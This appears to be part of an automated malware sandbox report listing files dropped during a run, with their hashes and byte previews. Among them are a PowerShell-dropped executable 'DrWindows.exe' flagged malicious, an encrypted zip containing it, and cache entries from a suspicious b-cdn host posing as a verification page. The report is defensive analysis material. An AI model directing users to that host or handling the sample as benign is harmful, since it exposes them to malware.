SHA-512:	C33D80C85EE3528FDD36DD71F331DB9500C1A29E206A7883B138F5932F2507279312236D7F7C6ED80AA9C499F3B82D21392C2E681CF8B4FA4F9C201C388F49B0
Malicious:	false
Reputation:	low
Preview:	...................................FL..................F.".. ......9...!'bm.J..z.:{.............................:..DG..Yr?.D..U..k0.&...&......&..9.....U^.J...Nkm.J......t...CFSF..1.....FWtM..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......FWtM.Y.].....Y.....................?@.A.p.p.D.a.t.a...B.V.1......Y.^..Roaming.@......FWtM.Y.^.....Y........................R.o.a.m.i.n.g.....\.1......Y.]..MICROS~1..D......FWtM.Y.^.....Y.....................\|3.M.i.c.r.o.s.o.f.t.....V.1.....GX.v..Windows.@......FWtM.Y.].....Z.......................W.i.n.d.o.w.s.......1.....FWvM..STARTM~1..n......FWtM.Y.].....Z..............D.........S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......Y.^..Programs..j......FWtM.Y.^.....Z..............@.....l.>.P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......FWtM.Y.^.....Z....................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......FWtM.Y.^....PZ..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 10:48:11 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.997343264790571
Encrypted:	false
SSDEEP:	48:8Y7dtTS7vYHCidAKZdA1JehwiZUklqeh9y+3:8Y7MBey
MD5:	0AFE46FAB1D401F937219513A49D843A
SHA1:	F7B5A829AAAD922F6A4E3028B98AC3A58BAE7BC5
SHA-256:	225363FD3ED78A1C83D75D50DFD393A6956B5EC4BA100F9F39B5A8D438BB0FEA
SHA-512:	7E4E87131C9DD32AC06D1A34557078C04F5CE8A3546844F03DDD6D3F0488AC460C5564B6858D825D1CB3AA720063A36236A7A181F5011CAB9B00763F15FC7C8E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.......c.J......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.]....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.^....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.^....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.^...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.^...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........d=.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 10:48:11 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.009910507815594
Encrypted:	false
SSDEEP:	48:8Z7dtTS7vYHCidAKZdA10eh/iZUkAQkqehOy+2:8Z7Mj9Qry
MD5:	E2D37B19E4875A8675AF3DD23A4702DB
SHA1:	5821CBED4A02090BEAE1DF812AD6938AA1787823
SHA-256:	8F640A5A3254C989B419620DFFF7456CA8F2788C6AF6D054CD5113C0F7C9E808
SHA-512:	12ED9F8B6873FCAA1B85D8F5E7DF59E3ECBEBAE9AE0ADEE4F7C30E1C834E67CB79C77C113EEE128DF8C2CA64519B5FAB27A9C19DF7A1D1A4A89173AB7CD63B14
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....\..c.J......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.]....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.^....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.^....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.^...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.^...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........d=.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.019286576212813
Encrypted:	false
SSDEEP:	48:8e7dtTS7vjHCidAKZdA14tIeh7sFiZUkmgqeh7ssy+BX:8e7M6nKy
MD5:	F176FB98F34A5D316A32031F39D23052
SHA1:	F11D97C6EA3A2E7EDB9DD35F489869F02BAB4E0D
SHA-256:	8CD64F5D1A75190837DD091091C582BE1C0DB44C84A0930CCB0CD8491443F58D
SHA-512:	B41ACAD50FF91C005D6B4AAF480670E00C2ECE72C2D97350E7B4F3FD1F1528F9C3774512645CC39900CB08AB8DB20A933E725495DAB239E44BD48D48478F687A
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.]....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.^....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.^....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.^...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........d=.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 10:48:11 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.009996058795326
Encrypted:	false
SSDEEP:	48:8u7dtTS7vYHCidAKZdA1behDiZUkwqehiy+R:8u7Mwky
MD5:	827BEA4A1038BB025F3B603E0AE2105E
SHA1:	5B982D9D52A0F7DC078A2062E32B92CCE7E623B5
SHA-256:	CC15C6AA43C999FC5F05D3008B503D4ED9E791FF97DA506D8028DB21B2332903
SHA-512:	51E8B9F80EF3BB395FE77F592DD78CCC061B3C88BE7F755BA7085DFF461220068F679DD0D4A475C3A06BC76527A9CFEFAF55CEDCA14F3ECEF37E85DFD93E69B3
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....m.c.J......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.]....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.^....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.^....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.^...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.^...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........d=.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 10:48:11 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9991913712131106
Encrypted:	false
SSDEEP:	48:8J7dtTS7vYHCidAKZdA1VehBiZUk1W1qehYy+C:8J7MQ94y
MD5:	38ED1E14E0296BA7A90B3F7A0A4D70B1
SHA1:	C1FBE9EA0A6240ED94393AE044FA77889F9368C3
SHA-256:	F4F49F2304C7636F698E6DBA778029ACB8C5829F1479E3EDE25AA6E39F894670
SHA-512:	7C7CDCE042C01757737900263D972B043B134E9DBB515D6D203CB19330A00A3AE11949FDA8A6A1EA6874C3B643E760B9652DA7DAA4E9C01369D055129214613C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....$.c.J......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.]....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.^....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.^....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.^...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.^...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........d=.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 10 10:48:11 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	4.008568265426848
Encrypted:	false
SSDEEP:	48:8j7dtTS7vYHCidAKZdA1duT6ehOuTbbiZUk5OjqehOuTbKy+yT+:8j7MaTTTbxWOvTbKy7T
MD5:	334E04956900233539B69E4D4921F775
SHA1:	CA8BC7E65A9398D9AC24279C4B91E0965FE07EC3
SHA-256:	6D9F1F126040CE7A98C40722DAF161BEC2A2BCF2FBF7147571C175176061B233
SHA-512:	E85A41BB780AA10C468939EB7281983569418177B612A86C4370DF2175B0233A84E5F38333E1CAF17B692BF6EA655599DC174B9DF81FA7F40BDD2D27D90B4A36
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....+.c.J......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.]....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.^....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.^....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.^...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.^...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........d=.N.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\NNsoTs7b\DrWindows.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7227080
Entropy (8bit):	6.569110982065004
Encrypted:	false
SSDEEP:	98304:81JhWbTBmCK/r1q6zgnql4eUUvkL7EZiU3Pa4R7X/rGW92n8fhlH2vef9IvWsQ:2Jhjl/rwqlxqL783PaM6W9Bf28sQ
MD5:	444F7C38106905ABAD5897DA1C0B466A
SHA1:	CA85D5C8AA824B77BBF63592B23AA2A6DD4B0374
SHA-256:	CCAE1ADEC72F7AF5EF289879DF71ABC34639FE42182DF88B209A60495B243BBC
SHA-512:	E5F5EE5A28C5FF5F2BB6A4CDED4045E85C4ADFB9489BC490AE0EFB5901D77B619533721397469337B6E898CA429D2007D96B8CEF8C1312239AF8AC56AC6E9D46
Malicious:	true
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........(I7.I'd.I'd.I'dRU)d.I'd9V-d.I'd.V4d.I'd.I&d.I'd9V,d.I'diO!d.I'dRich.I'd................PE..L....#.D.................P....!.....B........`....@..........................P'......n......................................e..P.........&.......... n..&...........................................................`..8............................text...DE.......P.................. ..`.rdata.......`.......`..............@..@.data.... ...p.......p..............@....rsrc.....&.......&.................@..@........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\pLaw0mbt.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3260817
Entropy (8bit):	7.997475308578382
Encrypted:	true
SSDEEP:	98304:APP8x3J4O+CxubTblNjwPFPf7p0m7eEshaAJ886Fod5:APP8x3JJ+6uvblu3P+mm5
MD5:	7ECAD14B89E3342E4677DB59C609D4FF
SHA1:	5532181B08385381684912F290B7958BC156BFCA
SHA-256:	319580DAE5E89A02DC310E9F35FEC73BBCF614CBFE6E0E70285B70888B168032
SHA-512:	599C552594F9A5E2822CC1E1A6D83EAACAFDDFECB7B7E278D4C5805394043D9A7847401FA6389B85B74ED5A48D36E8CB628FF3F71BB6CE390328AD0730CA4069
Malicious:	false
Reputation:	low
Preview:	PK........j1.Y..^...1..Fn.....DrWindows.exe.Z}t....#g.c. Vp6&........c...1&..dE2......M..3-.. g.....f[.'i.!g.49=..$n....6P.......l..S.l....l.....?(..g...{....{..q...s...k.........x.g.:.;...m.U...t..m..[_.u.K...o....xn.c.....&G.S^.K/.oX..5...O.V>\|n....o....O.,./..../.K./....o0....P..............-s...Ygw...r.e.%.:.qv&.}.o....:...l.w....0.G?..1...7R.L..s.....sG:....s....z.Y..H.]..LN)......R.m._...M6e..`..k...l.Q.q.S\|.o...m..\j..s.....x&..g.x&..g.x&..g.x._..'.O......wq.....(6.......P...~..`&e.".....].GUam..w...y ..:P....r..9..5>.G.2/....Y8......N[..m\.AS..c\|.h.}...2gn#.F...5...q..h=.@].'."b...,s...+..t.......v..z..a\.p.8...N.n[.bd......d.....r.........1.9....c)}.{D.5.r.i....pUw7r {....q...0.a....#.<....-..M...uq.0.a...i.7.<VC.....$.6C.Cg...r....i.\.X...EG.5..b.ax.8x.].h`.....o..rw.vo...:.xr.................w.......k..../Z7....s....o[...W.m.U..r.n..@.....x.K.G.......c2=.%...]...<.<..TE'..g\..7Q..c\|.B...r.F.5'5..V......6..*.....<V...(.

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 105204, version 768.67
Category:	downloaded
Size (bytes):	105204
Entropy (8bit):	7.989899350029445
Encrypted:	false
SSDEEP:	3072:iCoiIfDOunK2Bl6QvzIF5yXX8VLDNmketBSxyr:8i4KAl6Q7uZVPNrezSxyr
MD5:	EE91E640B5449FB98D9320C877A9866E
SHA1:	7FDC6B3926B1DD023F9F2AD7D53BC22694694281
SHA-256:	33A252D6393CBD6DEBE0AC517229C7AA258A0EE68FC0253F8BE6A7CEE8B65EE9
SHA-512:	B787D1E727C77E85DE52FDEDEA16A719BE00CFABF739F44451A2A35DB443900E8B3178DB1DDD5EAE9018850888B94994343E9B1E15873CD0211DAE83C405BD3D
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/webfonts/fa-brands-400.woff2
Preview:	wOF2...............h.......C.....................8.$. .`..D..8..`.H..H. ..VQf......Z?.....=..j..o......._......; ..o.....9..........'P.....U.....P.[.+7.\4....Y.B.d....[.h.!.....Z...2.....]5..]]]3..f.......E......9`.2.A'N.X..v....N....C#.yZ.Z............4.....I.Y...;..(q@..8H..m~v.KN....{.F..:..%..u...)U!JP...$v......(.n./.S:.(T..Mh.(.t../...N+.\|..o.......9Zr!P.........T\...c!#.\|\|*.....O4G(.........p.{?..#...Y..2".`DV.....U..jNT.3[.9}.$g.(.....H.Y5"......GD.#.`.Er.......(..Z.>...D...%.].[.......p..!..qU.&'Q .$.j2......B..........^.`4..L.[....R......Q.+.[.q..%...........A..$..N.A.aK.d.'. ..7~..t.a.oj...8....u._h%.+.%.K...GC....R.\|..u.W.......L..{W.....d.u:..L.Q...<.YBt....X.s.z"#....R$Tg.9......@A.;.?.w}.u.z...".'..w..i....w..&...i...3....,.n.hC<..8.3(...L..4....3....'x.M.J}...v.......S.4._[......>a.@I.8i[.S....A...%..Y2.ezM...M..%>.af.P.?...8..G...x:.......Hi.:..S.\.g....6.IY...i..aN~..F...c....al;1.R.3.._.l#...3..s?M.5..\|...4h

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65311)
Category:	downloaded
Size (bytes):	83981
Entropy (8bit):	4.7735566283508355
Encrypted:	false
SSDEEP:	1536:YlMVM6MVM9MVMKMVMRsVMNdhwJHQ9Kll3ITRUHrt+z:sdhgw9kITRULt+z
MD5:	3D5EF2BF867C4054A2F336CDBAD9E1DC
SHA1:	07228D1FA3245EE156A27A353F45758A3207849F
SHA-256:	A361E7885C36BACB3FD9CB068DA207C3B9329962CAC022D06E28923939F575E8
SHA-512:	168DEB96B663FE4EEE8D39C78380864760FB912B34BF82CB6A7C36AA4B18B91944CCEFAD71A10F428810D0A6A818DDBAFF3AE7DB42264750DFB8B5A73A8EDA04
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css
Preview:	/!. Font Awesome Free 6.0.0-beta3 by @fontawesome - https://fontawesome.com. * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License). * Copyright 2021 Fonticons, Inc.. */..fa{font-family:var(--fa-style-family,"Font Awesome 6 Free");font-weight:var(--fa-style,900)}.fa,.fa-brands,.fa-duotone,.fa-light,.fa-regular,.fa-solid,.fa-thin,.fab,.fad,.fal,.far,.fas,.fat{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;display:var(--fa-display,inline-block);font-style:normal;font-variant:normal;line-height:1;text-rendering:auto}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9x{font-size:9em}.fa-10x{font-size:10em}.fa-2xs{font-size:.625em;line-height:.1em;vertical-align:.225em}.fa-xs{font-size:.75em;line-height:.08333em;vertical-align:.125em}.fa-sm{font-size:.875em;line-height:.07143em;vertical-align:.0

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (677)
Category:	downloaded
Size (bytes):	678
Entropy (8bit):	5.1435496014689335
Encrypted:	false
SSDEEP:	12:kxRVrFjJRrZciWsGXmLFSHDSsz1X8lFamZ6k3hA1ZSZcsLvZ0mzegCoRwFjJUzk:kTlROi+WLojSw1MXlZ6M8QcslLCUzk
MD5:	0E3BDE19A08632F2E893BC2A835598BC
SHA1:	0BB50CBDED2D95B600B7437AD58AE8189C2A489B
SHA-256:	F62504ABBB867B0D53B4D90D746313621819F2C5D39CEAB4695AC2B0EF8CF223
SHA-512:	64048720AA563B780C491DA2C7C484D418DB508FB56B5D54A6AE9FD999308A96B75FD0149CE2E6459E7DF973F2535FE7D0CEAFDA79E5B48D96595999D575406D
Malicious:	false
Reputation:	low
URL:	https://ytfjghloadv1.b-cdn.net/favicon.ico
Preview:	<html><head><title>404 - File Not Found</title><link href='//fonts.bunny.net/css?family=Rubik:300,400,500' rel='stylesheet' type='text/css'><style>html, body { width: 100%; margin: 0; padding: 0; text-align: center; font-family: 'Rubik'; background-repeat: no-repeat; background-position: bottom center; background-size: cover; color: white; height: 100%; background-color: #313335; } h1 {margin-bottom: 0px;font-weight: bold;font-size: 140px;font-weight: 500;padding-top: 130px;margin-bottom: -35px;}h2 {font-size: 45px;color: white; font-weight: 200;}</style></head><body><div id='content'><h1 style='margin-bottom: -35px;'>404</h1><h2>File Not Found</h2></div></body></html>.

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	4841
Entropy (8bit):	4.5922071574030605
Encrypted:	false
SSDEEP:	96:PWHqSNEk6h39WgrQDBcTI5FkLofmVU1G7MOSs:PWl2h39gD2lLofEUFs
MD5:	8935D88A5C229122343B57C9E0D21691
SHA1:	8E82C1AD0610EA831C84DBBBDFBFFF9867F91974
SHA-256:	8D37F7F1E67BDA82182A5E2F12BB5CC84DAD9E7B6686557AAAB069C1E3221E7F
SHA-512:	A68B878838240E20F9E442A8BC7E3E79CD7F02786C552B591D1B03D4F25F6F60D10DDCC02085AE8AA40C147A5E70DF8B02C307C8FC792892E53E1C2B41D98605
Malicious:	false
Reputation:	low
URL:	https://ytfjghloadv1.b-cdn.net/proCESSINGveriffv001.html
